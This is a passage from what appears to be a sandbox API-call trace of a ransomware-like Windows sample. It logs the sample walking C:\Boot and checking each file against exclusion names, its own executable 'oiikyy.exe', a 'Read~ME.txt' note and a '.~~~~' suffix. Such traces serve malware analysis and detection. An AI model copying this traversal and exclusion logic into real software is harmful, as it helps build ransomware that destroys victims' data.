	[0061.780] FindNextFileW (in: hFindFile=0x37a748, lpFindFileData=0x27dfd28 | out: lpFindFileData=0x27dfd28*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1
	[0061.781] lstrcmpiW (lpString1="Boot", lpString2="Windows") returned -1
	[0061.781] lstrcmpW (lpString1="Boot", lpString2=".") returned 1
	[0061.781] lstrcmpW (lpString1="Boot", lpString2="..") returned 1
	[0061.781] lstrcmpW (lpString1="Boot", lpString2="AppData") returned 1
	[0061.781] StrStrW (lpFirst="\\\\?\\C:\\Boot", lpSrch="AppData") returned 0x0
	[0061.781] lstrlenW (lpString="C:\\Windows") returned 10
	[0061.781] lstrcmpiW (lpString1="C:\\Boot", lpString2="C:\\Windows") returned -1
	[0061.781] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0061.781] lstrcmpiW (lpString1="C:\\Boot", lpString2="C:\\System Volume Information") returned -1
	[0061.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x37b730
	[0061.781] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\*", lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a788
	[0061.781] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0061.781] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0061.781] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0061.781] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0061.781] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0061.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f18
	[0061.782] GetCurrentThreadId () returned 0x618
	[0061.782] GetCurrentThreadId () returned 0x618
	[0061.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8b8
	[0061.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f68
	[0061.782] RtlWakeConditionVariable () returned 0x1
	[0061.783] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f18 | out: hHeap=0x300000) returned 1
	[0061.783] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.783] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0061.783] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0061.783] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0061.783] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0061.783] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0061.783] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0061.783] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f18
	[0061.784] GetCurrentThreadId () returned 0x618
	[0061.784] GetCurrentThreadId () returned 0x618
	[0061.784] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8b8
	[0061.784] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0061.784] RtlWakeConditionVariable () returned 0x1
	[0061.785] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f18 | out: hHeap=0x300000) returned 1
	[0061.785] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x90cd45e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x90cd45e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1
	[0061.785] lstrcmpiW (lpString1="BCD", lpString2="Windows") returned -1
	[0061.786] lstrcmpW (lpString1="BCD", lpString2="oiikyy.exe") returned -1
	[0061.786] StrStrW (lpFirst="BCD", lpSrch=".~~~~") returned 0x0
	[0061.786] lstrcmpW (lpString1="BCD", lpString2="Read~ME.txt") returned -1
	[0061.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f18
	[0061.786] GetCurrentThreadId () returned 0x618
	[0061.786] GetCurrentThreadId () returned 0x618
	[0061.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8b8
	[0061.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f68
	[0061.786] RtlWakeConditionVariable () returned 0x1
	[0061.788] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f18 | out: hHeap=0x300000) returned 1
	[0061.788] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x9098e7a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1
	[0061.788] lstrcmpiW (lpString1="BCD.LOG", lpString2="Windows") returned -1
	[0061.788] lstrcmpW (lpString1="BCD.LOG", lpString2="oiikyy.exe") returned -1
	[0061.788] StrStrW (lpFirst="BCD.LOG", lpSrch=".~~~~") returned 0x0
	[0061.788] lstrcmpW (lpString1="BCD.LOG", lpString2="Read~ME.txt") returned -1
	[0061.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8b8
	[0061.788] GetCurrentThreadId () returned 0x618
	[0061.788] GetCurrentThreadId () returned 0x618
	[0061.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8f0
	[0061.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c880
	[0061.789] RtlWakeConditionVariable () returned 0x1
	[0061.791] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8b8 | out: hHeap=0x300000) returned 1
	[0061.791] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1
	[0061.791] lstrcmpiW (lpString1="BCD.LOG1", lpString2="Windows") returned -1
	[0061.791] lstrcmpW (lpString1="BCD.LOG1", lpString2="oiikyy.exe") returned -1
	[0061.791] StrStrW (lpFirst="BCD.LOG1", lpSrch=".~~~~") returned 0x0
	[0061.791] lstrcmpW (lpString1="BCD.LOG1", lpString2="Read~ME.txt") returned -1
	[0061.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8b8
	[0061.791] GetCurrentThreadId () returned 0x618
	[0061.791] GetCurrentThreadId () returned 0x618
	[0061.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c928
	[0061.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8f0
	[0061.791] RtlWakeConditionVariable () returned 0x1
	[0061.815] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8b8 | out: hHeap=0x300000) returned 1
	[0061.815] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1
	[0061.815] lstrcmpiW (lpString1="BCD.LOG2", lpString2="Windows") returned -1
	[0061.815] lstrcmpW (lpString1="BCD.LOG2", lpString2="oiikyy.exe") returned -1
	[0061.815] StrStrW (lpFirst="BCD.LOG2", lpSrch=".~~~~") returned 0x0
	[0061.815] lstrcmpW (lpString1="BCD.LOG2", lpString2="Read~ME.txt") returned -1
	[0061.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8b8
	[0061.815] GetCurrentThreadId () returned 0x618
	[0061.815] GetCurrentThreadId () returned 0x618
	[0061.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c880
	[0061.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c928
	[0061.815] RtlWakeConditionVariable () returned 0x1
	[0061.847] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8b8 | out: hHeap=0x300000) returned 1
	[0061.847] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1
	[0061.847] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="Windows") returned -1
	[0061.847] lstrcmpW (lpString1="BOOTSTAT.DAT", lpString2="oiikyy.exe") returned -1
	[0061.847] StrStrW (lpFirst="BOOTSTAT.DAT", lpSrch=".~~~~") returned 0x0
	[0061.847] lstrcmpW (lpString1="BOOTSTAT.DAT", lpString2="Read~ME.txt") returned -1
	[0061.847] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0061.847] GetCurrentThreadId () returned 0x618
	[0061.847] GetCurrentThreadId () returned 0x618
	[0061.847] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8b8
	[0061.847] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0061.848] RtlWakeConditionVariable () returned 0x1
	[0061.850] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0061.850] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1
	[0061.851] lstrcmpiW (lpString1="cs-CZ", lpString2="Windows") returned -1
	[0061.851] lstrcmpW (lpString1="cs-CZ", lpString2=".") returned 1
	[0061.851] lstrcmpW (lpString1="cs-CZ", lpString2="..") returned 1
	[0061.851] lstrcmpW (lpString1="cs-CZ", lpString2="AppData") returned 1
	[0061.851] StrStrW (lpFirst="\\\\?\\C:\\Boot\\cs-CZ", lpSrch="AppData") returned 0x0
	[0061.851] lstrlenW (lpString="C:\\Windows") returned 10
	[0061.851] lstrcmpiW (lpString1="C:\\Boot\\cs-CZ", lpString2="C:\\Windows") returned -1
	[0061.851] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0061.851] lstrcmpiW (lpString1="C:\\Boot\\cs-CZ", lpString2="C:\\System Volume Information") returned -1
	[0061.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38ca88
	[0061.851] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\*", lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a808
	[0061.975] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0061.975] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0061.975] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0061.975] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0061.975] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0061.975] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.975] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0061.975] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0061.975] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0061.975] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0061.975] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0061.975] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0061.975] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0061.975] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Windows") returned -1
	[0061.975] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="oiikyy.exe") returned -1
	[0061.975] StrStrW (lpFirst="bootmgr.exe.mui", lpSrch=".~~~~") returned 0x0
	[0061.975] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="Read~ME.txt") returned -1
	[0061.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x366550
	[0061.976] GetCurrentThreadId () returned 0x618
	[0061.976] GetCurrentThreadId () returned 0x618
	[0061.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c928
	[0061.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x363d38
	[0061.976] RtlWakeConditionVariable () returned 0x1
	[0061.977] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x366550 | out: hHeap=0x300000) returned 1
	[0061.977] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0061.978] FindClose (in: hFindFile=0x37a808 | out: hFindFile=0x37a808) returned 1
	[0061.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0061.978] GetCurrentThreadId () returned 0x618
	[0061.978] GetCurrentThreadId () returned 0x618
	[0061.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c928
	[0061.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357170
	[0061.978] RtlWakeConditionVariable () returned 0x1
	[0061.980] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0061.980] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38ca88 | out: hHeap=0x300000) returned 1
	[0061.981] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0061.981] lstrcmpiW (lpString1="da-DK", lpString2="Windows") returned -1
	[0061.981] lstrcmpW (lpString1="da-DK", lpString2=".") returned 1
	[0061.981] lstrcmpW (lpString1="da-DK", lpString2="..") returned 1
	[0061.981] lstrcmpW (lpString1="da-DK", lpString2="AppData") returned 1
	[0061.981] StrStrW (lpFirst="\\\\?\\C:\\Boot\\da-DK", lpSrch="AppData") returned 0x0
	[0061.981] lstrlenW (lpString="C:\\Windows") returned 10
	[0061.981] lstrcmpiW (lpString1="C:\\Boot\\da-DK", lpString2="C:\\Windows") returned -1
	[0061.982] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0061.982] lstrcmpiW (lpString1="C:\\Boot\\da-DK", lpString2="C:\\System Volume Information") returned -1
	[0061.982] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38ca88
	[0061.982] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\da-DK\\*", lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a808
	[0061.982] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0061.982] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0061.982] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0061.982] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0061.982] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0061.982] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.983] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0061.983] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0061.983] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0061.983] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0061.983] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0061.983] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0061.983] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0061.983] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Windows") returned -1
	[0061.983] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="oiikyy.exe") returned -1
	[0061.983] StrStrW (lpFirst="bootmgr.exe.mui", lpSrch=".~~~~") returned 0x0
	[0061.983] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="Read~ME.txt") returned -1
	[0061.983] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x366550
	[0061.983] GetCurrentThreadId () returned 0x618
	[0061.983] GetCurrentThreadId () returned 0x618
	[0061.983] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c928
	[0061.984] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x363d38
	[0061.984] RtlWakeConditionVariable () returned 0x1
	[0061.986] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x366550 | out: hHeap=0x300000) returned 1
	[0061.986] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0061.986] FindClose (in: hFindFile=0x37a808 | out: hFindFile=0x37a808) returned 1
	[0061.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0061.986] GetCurrentThreadId () returned 0x618
	[0061.986] GetCurrentThreadId () returned 0x618
	[0061.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c928
	[0061.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0061.986] RtlWakeConditionVariable () returned 0x1
	[0061.989] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0061.989] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38ca88 | out: hHeap=0x300000) returned 1
	[0061.990] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1
	[0061.990] lstrcmpiW (lpString1="de-DE", lpString2="Windows") returned -1
	[0061.990] lstrcmpW (lpString1="de-DE", lpString2=".") returned 1
	[0061.990] lstrcmpW (lpString1="de-DE", lpString2="..") returned 1
	[0061.990] lstrcmpW (lpString1="de-DE", lpString2="AppData") returned 1
	[0061.990] StrStrW (lpFirst="\\\\?\\C:\\Boot\\de-DE", lpSrch="AppData") returned 0x0
	[0061.990] lstrlenW (lpString="C:\\Windows") returned 10
	[0061.990] lstrcmpiW (lpString1="C:\\Boot\\de-DE", lpString2="C:\\Windows") returned -1
	[0061.990] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0061.990] lstrcmpiW (lpString1="C:\\Boot\\de-DE", lpString2="C:\\System Volume Information") returned -1
	[0061.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38ca88
	[0061.990] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\de-DE\\*", lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a808
	[0061.991] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0061.991] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0061.991] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0061.991] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0061.991] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0061.991] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.992] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0061.992] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0061.992] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0061.992] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
